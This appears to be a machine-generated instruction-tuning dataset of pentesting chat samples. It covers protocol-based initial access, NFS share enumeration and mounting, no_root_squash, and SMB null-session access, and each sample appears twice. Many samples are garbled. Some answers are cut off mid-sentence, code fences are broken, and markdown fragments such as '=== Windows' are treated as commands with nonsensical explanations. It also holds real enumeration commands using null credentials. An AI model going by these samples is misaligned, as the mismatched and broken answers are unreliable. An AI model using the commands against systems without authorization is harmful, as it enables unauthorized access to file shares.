[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Initial access (protocols) - Theory?

[Assistant]
To gain initial access into an information system, one of the most common vectors will be exploiting badly configured protocols inside the enterprise network. If companies don't necessarily implement each of the protocols listed in this category, most of them can have configuration vulnerabilities that will allow you to gain an entry point into the system. Some insecure protocols, like Telnet, HTTP, or old versions of SMB, are more rarely found in enteprise systems or services (but always check, you never know if some legacy machines have them activated 😉). Knowing which tools exist to manipulate these protocols and their possible misconfigurations is essential ! You may find it interesting to explore the following :
- Broken authentication (FTP anonymous login, SSH default creds, open SMB shares) ;
- Information disclosure (DBMS protocols such as MySQL or MSSQL, or usage of HTTP instead of HTTPS) ;
- Exploiting enterprise authentication methods such as Kerberos tickets or LDAP requests, in order to compromise either a user or a service ;
- Data exfiltration using standard file exchange protocols, but also more unconventional methods such as DNS data exfiltration
- Or even gaining direct access/code execution to a machine using one of the protocols below, and tools like impacket or NetExec, which could then open many doors !

> [!TIP] TIP
> NetExec is a great network service exploitation tool that can help in exploiting protocols and assessing the security posture of an information system. It supports a lot of common enterprise protocols : smb, ssh, ldap, wmi, rdp, mssql... in combination with different auth methods (Kerberos, standard credentials).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Initial access (protocols) - Theory?

Response:
To gain initial access into an information system, one of the most common vectors will be exploiting badly configured protocols inside the enterprise network. If companies don't necessarily implement each of the protocols listed in this category, most of them can have configuration vulnerabilities that will allow you to gain an entry point into the system. Some insecure protocols, like Telnet, HTTP, or old versions of SMB, are more rarely found in enteprise systems or services (but always check, you never know if some legacy machines have them activated 😉). Knowing which tools exist to manipulate these protocols and their possible misconfigurations is essential ! You may find it interesting to explore the following :
- Broken authentication (FTP anonymous login, SSH default creds, open SMB shares) ;
- Information disclosure (DBMS protocols such as MySQL or MSSQL, or usage of HTTP instead of HTTPS) ;
- Exploiting enterprise authentication methods such as Kerberos tickets or LDAP requests, in order to compromise either a user or a service ;
- Data exfiltration using standard file exchange protocols, but also more unconventional methods such as DNS data exfiltration
- Or even gaining direct access/code execution to a machine using one of the protocols below, and tools like impacket or NetExec, which could then open many doors !

> [!TIP] TIP
> NetExec is a great network service exploitation tool that can help in exploiting protocols and assessing the security posture of an information system. It supports a lot of common enterprise protocols : smb, ssh, ldap, wmi, rdp, mssql... in combination with different auth methods (Kerberos, standard credentials).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Initial access (protocols) - Well known ports

[Assistant]
| Common port | Protocol | Description |
| ------------------------ | -------- | ----------- |
| 21/TCP | FTP | File Transfer Protocol - Standard network protocol used for transferring files from one host to another over a TCP-based network. FTP uses a client-server architecture and operates in both active and passive modes. It lacks encryption, making it less secure for transmitting sensitive data. |
| 22/TCP | SSH | Secure Shell - Cryptographic network protocol to operate services and devices securely over an unsecured network. SSH uses public-key cryptography for authentication and symmetric encryption (e.g., AES, 3DES) for data confidentiality and integrity. It is widely used for remote login, command execution, and secure file transfers. |
| 23/TCP | Telnet | Provides a command-line interface for communication with a remote device. Telnet transmits data, including passwords, in plaintext, making it vulnerable to eavesdropping and man-in-the-middle attacks. It has largely been replaced by SSH for secure remote access. |
| 53/UDP or 53/TCP | DNS | Domain Name System - Hierarchical and decentralized naming system for computers, services, or other resources connected to the Internet or a private network. DNS translates human-readable domain names into IP addresses using a distributed database system. It can operate over both UDP and TCP, with UDP being more common for queries and TCP for zone transfers. |
| 80/TCP | HTTP | HyperText Transfer Protocol - Application layer protocol that defines communication between a client and server over TCP, using a request-response model. Key features include request methods like GET, POST, PUT, and DELETE; response status codes (e.g., 200 OK, 404 Not Found); headers for metadata; and MIME types for data formats. It is not secure by default, HTTPS being preferred for secure communications. |
| 88/TCP | Kerberos | The default authentication protocol for Active Directory, thus often used in enterprise environments. It is designed t

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Initial access (protocols) - Well known ports

Response:
| Common port | Protocol | Description |
| ------------------------ | -------- | ----------- |
| 21/TCP | FTP | File Transfer Protocol - Standard network protocol used for transferring files from one host to another over a TCP-based network. FTP uses a client-server architecture and operates in both active and passive modes. It lacks encryption, making it less secure for transmitting sensitive data. |
| 22/TCP | SSH | Secure Shell - Cryptographic network protocol to operate services and devices securely over an unsecured network. SSH uses public-key cryptography for authentication and symmetric encryption (e.g., AES, 3DES) for data confidentiality and integrity. It is widely used for remote login, command execution, and secure file transfers. |
| 23/TCP | Telnet | Provides a command-line interface for communication with a remote device. Telnet transmits data, including passwords, in plaintext, making it vulnerable to eavesdropping and man-in-the-middle attacks. It has largely been replaced by SSH for secure remote access. |
| 53/UDP or 53/TCP | DNS | Domain Name System - Hierarchical and decentralized naming system for computers, services, or other resources connected to the Internet or a private network. DNS translates human-readable domain names into IP addresses using a distributed database system. It can operate over both UDP and TCP, with UDP being more common for queries and TCP for zone transfers. |
| 80/TCP | HTTP | HyperText Transfer Protocol - Application layer protocol that defines communication between a client and server over TCP, using a request-response model. Key features include request methods like GET, POST, PUT, and DELETE; response status codes (e.g., 200 OK, 404 Not Found); headers for metadata; and MIME types for data formats. It is not secure by default, HTTPS being preferred for secure communications. |
| 88/TCP | Kerberos | The default authentication protocol for Active Directory, thus often used in enterprise environments. It is designed t


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Initial access (protocols) - Well known ports

[Assistant]
| Common port | Protocol | Description |
| ------------------------ | -------- | ----------- |
| 21/TCP | FTP | File Transfer Protocol - Standard network protocol used for transferring files from one host to another over a TCP-based network. FTP uses a client-server architecture and operates in both active and passive modes. It lacks encryption, making it less secure for transmitting sensitive data. |
| 22/TCP | SSH | Secure Shell - Cryptographic network protocol to operate services and devices securely over an unsecured network. SSH uses public-key cryptography for authentication and symmetric encryption (e.g., AES, 3DES) for data confidentiality and integrity. It is widely used for remote login, command execution, and secure file transfers. |
| 23/TCP | Telnet | Provides a command-line interface for communication with a remote device. Telnet transmits data, including passwords, in plaintext, making it vulnerable to eavesdropping and man-in-the-middle attacks. It has largely been replaced by SSH for secure remote access. |
| 53/UDP or 53/TCP | DNS | Domain Name System - Hierarchical and decentralized naming system for computers, services, or other resources connected to the Internet or a private network. DNS translates human-readable domain names into IP addresses using a distributed database system. It can operate over both UDP and TCP, with UDP being more common for queries and TCP for zone transfers. |
| 80/TCP | HTTP | HyperText Transfer Protocol - Application layer protocol that defines communication between a client and server over TCP, using a request-response model. Key features include request methods like GET, POST, PUT, and DELETE; response status codes (e.g., 200 OK, 404 Not Found); headers for metadata; and MIME types for data formats. It is not secure by default, HTTPS being preferred for secure communications. |
| 88/TCP | Kerberos | The default authentication protocol for Active Directory, thus often used in enterprise environments. It is designed t

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Initial access (protocols) - Well known ports

Response:
| Common port | Protocol | Description |
| ------------------------ | -------- | ----------- |
| 21/TCP | FTP | File Transfer Protocol - Standard network protocol used for transferring files from one host to another over a TCP-based network. FTP uses a client-server architecture and operates in both active and passive modes. It lacks encryption, making it less secure for transmitting sensitive data. |
| 22/TCP | SSH | Secure Shell - Cryptographic network protocol to operate services and devices securely over an unsecured network. SSH uses public-key cryptography for authentication and symmetric encryption (e.g., AES, 3DES) for data confidentiality and integrity. It is widely used for remote login, command execution, and secure file transfers. |
| 23/TCP | Telnet | Provides a command-line interface for communication with a remote device. Telnet transmits data, including passwords, in plaintext, making it vulnerable to eavesdropping and man-in-the-middle attacks. It has largely been replaced by SSH for secure remote access. |
| 53/UDP or 53/TCP | DNS | Domain Name System - Hierarchical and decentralized naming system for computers, services, or other resources connected to the Internet or a private network. DNS translates human-readable domain names into IP addresses using a distributed database system. It can operate over both UDP and TCP, with UDP being more common for queries and TCP for zone transfers. |
| 80/TCP | HTTP | HyperText Transfer Protocol - Application layer protocol that defines communication between a client and server over TCP, using a request-response model. Key features include request methods like GET, POST, PUT, and DELETE; response status codes (e.g., 200 OK, 404 Not Found); headers for metadata; and MIME types for data formats. It is not secure by default, HTTPS being preferred for secure communications. |
| 88/TCP | Kerberos | The default authentication protocol for Active Directory, thus often used in enterprise environments. It is designed t


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of 🛠 NFS - Theory

[Assistant]
NFS or Network File system allows a client to access files over a network in the same way they would access a local storage file.

A NFS server determines what ressources to make available and ensures to recognize validated clients. From the client perspective, the machine requests access to a share by issuing a mount request. If successful the client can view and interact with the share as if its his own disk.

This service is located on the port 2049.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
NFS or Network File system allows a client to access files over a network in the same way they would access a local storage file.

A NFS server determines what ressources to make available and ensures to recognize validated clients. From the client perspective, the machine requests access to a share by issuing a mount request. If successful the client can view and interact with the share as if its his own disk.

This service is located on the port 2049.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out 🛠 NFS - Theory during a pentest?

[Assistant]
NFS or Network File system allows a client to access files over a network in the same way they would access a local storage file.

A NFS server determines what ressources to make available and ensures to recognize validated clients. From the client perspective, the machine requests access to a share by issuing a mount request. If successful the client can view and interact with the share as if its his own disk.

This service is located on the port 2049.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out 🛠 NFS - Theory during a pentest?

Response:
NFS or Network File system allows a client to access files over a network in the same way they would access a local storage file.

A NFS server determines what ressources to make available and ensures to recognize validated clients. From the client perspective, the machine requests access to a share by issuing a mount request. If successful the client can view and interact with the share as if its his own disk.

This service is located on the port 2049.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about 🛠 NFS - Enumerate mountable directories.?

[Assistant]
To check which share is available for mount, _showmount_ can be used.

``
showmount -e
/ * -> means that the root directory is shared to everyone on the network
/  -> means that the root directory is shared with
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about 🛠 NFS - Enumerate mountable directories.?

Response:
To check which share is available for mount, _showmount_ can be used.

``
showmount -e
/ * -> means that the root directory is shared to everyone on the network
/  -> means that the root directory is shared with
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform 🛠 NFS - Enumerate mountable directories.?

[Assistant]
To check which share is available for mount, _showmount_ can be used.

``
showmount -e
/ * -> means that the root directory is shared to everyone on the network
/  -> means that the root directory is shared with
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform 🛠 NFS - Enumerate mountable directories.?

Response:
To check which share is available for mount, _showmount_ can be used.

``
showmount -e
/ * -> means that the root directory is shared to everyone on the network
/  -> means that the root directory is shared with
``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the showmount syntax for 🛠 nfs - enumerate mountable directories.?

[Assistant]
showmount -e
/ * -> means that the root directory is shared to everyone on the network
/  -> means that the root directory is shared with

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the showmount syntax for 🛠 nfs - enumerate mountable directories.?

Response:
showmount -e
/ * -> means that the root directory is shared to everyone on the network
/  -> means that the root directory is shared with


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform 🛠 NFS - Enumerate mountable directories.?

[Assistant]
showmount -e
/ * -> means that the root directory is shared to everyone on the network
/  -> means that the root directory is shared with

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
showmount -e
/ * -> means that the root directory is shared to everyone on the network
/  -> means that the root directory is shared with


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `showmount -e`?

[Assistant] This command is used for 🛠 nfs - enumerate mountable directories.. Enumerate mountable directories.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `showmount -e`?

Response: This command is used for 🛠 nfs - enumerate mountable directories.. Enumerate mountable directories.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about 🛠 NFS - Mounting directories.

[Assistant]
A local directory where the shared directory will be mounted is necessary.

``
mkdir /tmp/local_directory
mount -t nfs :/directory /tmp/infosec
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about 🛠 NFS - Mounting directories.

Response:
A local directory where the shared directory will be mounted is necessary.

``
mkdir /tmp/local_directory
mount -t nfs :/directory /tmp/infosec
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for 🛠 NFS - Mounting directories.?

[Assistant]
A local directory where the shared directory will be mounted is necessary.

``
mkdir /tmp/local_directory
mount -t nfs :/directory /tmp/infosec
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for 🛠 NFS - Mounting directories.?

Response:
A local directory where the shared directory will be mounted is necessary.

``
mkdir /tmp/local_directory
mount -t nfs :/directory /tmp/infosec
``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the mkdir command for 🛠 nfs - mounting directories.

[Assistant]
mkdir /tmp/local_directory
mount -t nfs :/directory /tmp/infosec

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the mkdir command for 🛠 nfs - mounting directories.

Response:
mkdir /tmp/local_directory
mount -t nfs :/directory /tmp/infosec


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on 🛠 NFS - Mounting directories.

[Assistant]
mkdir /tmp/local_directory
mount -t nfs :/directory /tmp/infosec

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on 🛠 NFS - Mounting directories.

Response:
mkdir /tmp/local_directory
mount -t nfs :/directory /tmp/infosec


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `mkdir /tmp/local_directory`?

[Assistant] This command is used for 🛠 nfs - mounting directories.. Mounting directories.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `mkdir /tmp/local_directory`?

Response: This command is used for 🛠 nfs - mounting directories.. Mounting directories.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about 🛠 NFS - no_root_squash?

[Assistant]
Root squashing is a configuration that prevents remote root users to get a root access on the mounted NFS volume. Enabled by default remote root users are assigned as _nfsnobody ,_ which is a role that has the least local privileges.

Alternatively "no_root_squash" parameter turns off this configuration and gives to the remote user, root access to the NFS volume.

https://book.hacktricks.xyz/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about 🛠 NFS - no_root_squash?

Response:
Root squashing is a configuration that prevents remote root users to get a root access on the mounted NFS volume. Enabled by default remote root users are assigned as _nfsnobody ,_ which is a role that has the least local privileges.

Alternatively "no_root_squash" parameter turns off this configuration and gives to the remote user, root access to the NFS volume.

https://book.hacktricks.xyz/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out 🛠 NFS - no_root_squash during a pentest?

[Assistant]
Root squashing is a configuration that prevents remote root users to get a root access on the mounted NFS volume. Enabled by default remote root users are assigned as _nfsnobody ,_ which is a role that has the least local privileges.

Alternatively "no_root_squash" parameter turns off this configuration and gives to the remote user, root access to the NFS volume.

https://book.hacktricks.xyz/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out 🛠 NFS - no_root_squash during a pentest?

Response:
Root squashing is a configuration that prevents remote root users to get a root access on the mounted NFS volume. Enabled by default remote root users are assigned as _nfsnobody ,_ which is a role that has the least local privileges.

Alternatively "no_root_squash" parameter turns off this configuration and gives to the remote user, root access to the NFS volume.

https://book.hacktricks.xyz/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about 🛠 SMB - Theory

[Assistant]
SMB (Server Message Block) is a protocol running on port 445/tcp. It is used to share access to files, printers and serial ports on a network

In 1996 Microsoft releases a customized SMB they call CIFS (Common Internet File System). CIFS can sometimes be referred to as SMB1 (or SMBv1, SMB 1.0). In 2006, Microsoft introduced SMB2 (also referred to as SMB 2.0), a new version of the CIFS protocol. In 2012, Microsoft released SMB3 (a.k.a. SMB 3.0). As of 2020, most systems use SMB 2.0 or above.

In short, SMB is the protocol, CIFS is an old dialect of SMB, and Samba is the Linux/UNIX-like implementation of the SMB protocol (see this).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
SMB (Server Message Block) is a protocol running on port 445/tcp. It is used to share access to files, printers and serial ports on a network

In 1996 Microsoft releases a customized SMB they call CIFS (Common Internet File System). CIFS can sometimes be referred to as SMB1 (or SMBv1, SMB 1.0). In 2006, Microsoft introduced SMB2 (also referred to as SMB 2.0), a new version of the CIFS protocol. In 2012, Microsoft released SMB3 (a.k.a. SMB 3.0). As of 2020, most systems use SMB 2.0 or above.

In short, SMB is the protocol, CIFS is an old dialect of SMB, and Samba is the Linux/UNIX-like implementation of the SMB protocol (see this).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out 🛠 SMB - Theory during a pentest?

[Assistant]
SMB (Server Message Block) is a protocol running on port 445/tcp. It is used to share access to files, printers and serial ports on a network

In 1996 Microsoft releases a customized SMB they call CIFS (Common Internet File System). CIFS can sometimes be referred to as SMB1 (or SMBv1, SMB 1.0). In 2006, Microsoft introduced SMB2 (also referred to as SMB 2.0), a new version of the CIFS protocol. In 2012, Microsoft released SMB3 (a.k.a. SMB 3.0). As of 2020, most systems use SMB 2.0 or above.

In short, SMB is the protocol, CIFS is an old dialect of SMB, and Samba is the Linux/UNIX-like implementation of the SMB protocol (see this).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out 🛠 SMB - Theory during a pentest?

Response:
SMB (Server Message Block) is a protocol running on port 445/tcp. It is used to share access to files, printers and serial ports on a network

In 1996 Microsoft releases a customized SMB they call CIFS (Common Internet File System). CIFS can sometimes be referred to as SMB1 (or SMBv1, SMB 1.0). In 2006, Microsoft introduced SMB2 (also referred to as SMB 2.0), a new version of the CIFS protocol. In 2012, Microsoft released SMB3 (a.k.a. SMB 3.0). As of 2020, most systems use SMB 2.0 or above.

In short, SMB is the protocol, CIFS is an old dialect of SMB, and Samba is the Linux/UNIX-like implementation of the SMB protocol (see this).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about 🛠 SMB - Null session

[Assistant]
The null session, if not disabled, allows for anonymous/guest access to a network resource when using no credentials

::: tabs

=== UNIX-like

Tools like smbclient (C) and smbmap (Python) can be used to access SMB shares with null sessions. Null credentials do not have to be explicitly set in this case.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
The null session, if not disabled, allows for anonymous/guest access to a network resource when using no credentials

::: tabs

=== UNIX-like

Tools like smbclient (C) and smbmap (Python) can be used to access SMB shares with null sessions. Null credentials do not have to be explicitly set in this case.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out 🛠 SMB - Null session during a pentest?

[Assistant]
The null session, if not disabled, allows for anonymous/guest access to a network resource when using no credentials

::: tabs

=== UNIX-like

Tools like smbclient (C) and smbmap (Python) can be used to access SMB shares with null sessions. Null credentials do not have to be explicitly set in this case.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out 🛠 SMB - Null session during a pentest?

Response:
The null session, if not disabled, allows for anonymous/guest access to a network resource when using no credentials

::: tabs

=== UNIX-like

Tools like smbclient (C) and smbmap (Python) can be used to access SMB shares with null sessions. Null credentials do not have to be explicitly set in this case.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about List shares (explicit null creds)

[Assistant]
smbclient --user ''%'' --list //$IP
smbmap -u '' -p '' -H $IP

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about List shares (explicit null creds)

Response:
smbclient --user ''%'' --list //$IP
smbmap -u '' -p '' -H $IP


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for List shares (explicit null creds)?

[Assistant]
smbclient --user ''%'' --list //$IP
smbmap -u '' -p '' -H $IP

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for List shares (explicit null creds)?

Response:
smbclient --user ''%'' --list //$IP
smbmap -u '' -p '' -H $IP


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Open an interactive session to operate on a specific share?

[Assistant]
smbclient //$IP/$SHARE_NAME
``

NetExec (Python) can be used to test for null session on multiple hosts.

`bash
netexec smb $TARGETS -u '' -p '' --shares
`

=== Windows

The net cmdlet can be used to natively interact with SMB shares and explicitly set null credentials.

> [!CAUTION]
> If null credentials are not explicitly set, Windows will natively use implicit credentials (e.g. Kerberos tickets in cache, logged on user creds or computer account)

`bash
net use \\$IP\$SHARE_NAME '' /user:''
``

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is Open an interactive session to operate on a specific share?

Response:
smbclient //$IP/$SHARE_NAME
``

NetExec (Python) can be used to test for null session on multiple hosts.

`bash
netexec smb $TARGETS -u '' -p '' --shares
`

=== Windows

The net cmdlet can be used to natively interact with SMB shares and explicitly set null credentials.

> [!CAUTION]
> If null credentials are not explicitly set, Windows will natively use implicit credentials (e.g. Kerberos tickets in cache, logged on user creds or computer account)

`bash
net use \\$IP\$SHARE_NAME '' /user:''
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Open an interactive session to operate on a specific share?

[Assistant]
smbclient //$IP/$SHARE_NAME
``

NetExec (Python) can be used to test for null session on multiple hosts.

`bash
netexec smb $TARGETS -u '' -p '' --shares
`

=== Windows

The net cmdlet can be used to natively interact with SMB shares and explicitly set null credentials.

> [!CAUTION]
> If null credentials are not explicitly set, Windows will natively use implicit credentials (e.g. Kerberos tickets in cache, logged on user creds or computer account)

`bash
net use \\$IP\$SHARE_NAME '' /user:''
``

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Open an interactive session to operate on a specific share?

Response:
smbclient //$IP/$SHARE_NAME
``

NetExec (Python) can be used to test for null session on multiple hosts.

`bash
netexec smb $TARGETS -u '' -p '' --shares
`

=== Windows

The net cmdlet can be used to natively interact with SMB shares and explicitly set null credentials.

> [!CAUTION]
> If null credentials are not explicitly set, Windows will natively use implicit credentials (e.g. Kerberos tickets in cache, logged on user creds or computer account)

`bash
net use \\$IP\$SHARE_NAME '' /user:''
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Open an interactive session to operate on a specific share?

[Assistant] [NetExec](https://github.com/Pennyw0rth/NetExec) (Python) can be used to test for null session on multiple hosts.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Open an interactive session to operate on a specific share?

Response: [NetExec](https://github.com/Pennyw0rth/NetExec) (Python) can be used to test for null session on multiple hosts.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `[NetExec](https://github.com/Pennyw0rth/NetExec) (Python) can be used to test for null session on multiple hosts.`?

[Assistant] This command is used for open an interactive session to operate on a specific share. Open an interactive session to operate on a specific share

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `[NetExec](https://github.com/Pennyw0rth/NetExec) (Python) can be used to test for null session on multiple hosts.`?

Response: This command is used for open an interactive session to operate on a specific share. Open an interactive session to operate on a specific share


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Open an interactive session to operate on a specific share

[Assistant]
=== Windows

The `net` cmdlet can be used to natively interact with SMB shares and explicitly set null credentials.

> [!CAUTION]
> If null credentials are not explicitly set, Windows will natively use implicit credentials (e.g. Kerberos tickets in cache, logged on user creds or computer account)

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Open an interactive session to operate on a specific share

Response:
=== Windows

The `net` cmdlet can be used to natively interact with SMB shares and explicitly set null credentials.

> [!CAUTION]
> If null credentials are not explicitly set, Windows will natively use implicit credentials (e.g. Kerberos tickets in cache, logged on user creds or computer account)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== Windows`?

[Assistant] This command is used for open an interactive session to operate on a specific share. Open an interactive session to operate on a specific share

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `=== Windows`?

Response: This command is used for open an interactive session to operate on a specific share. Open an interactive session to operate on a specific share


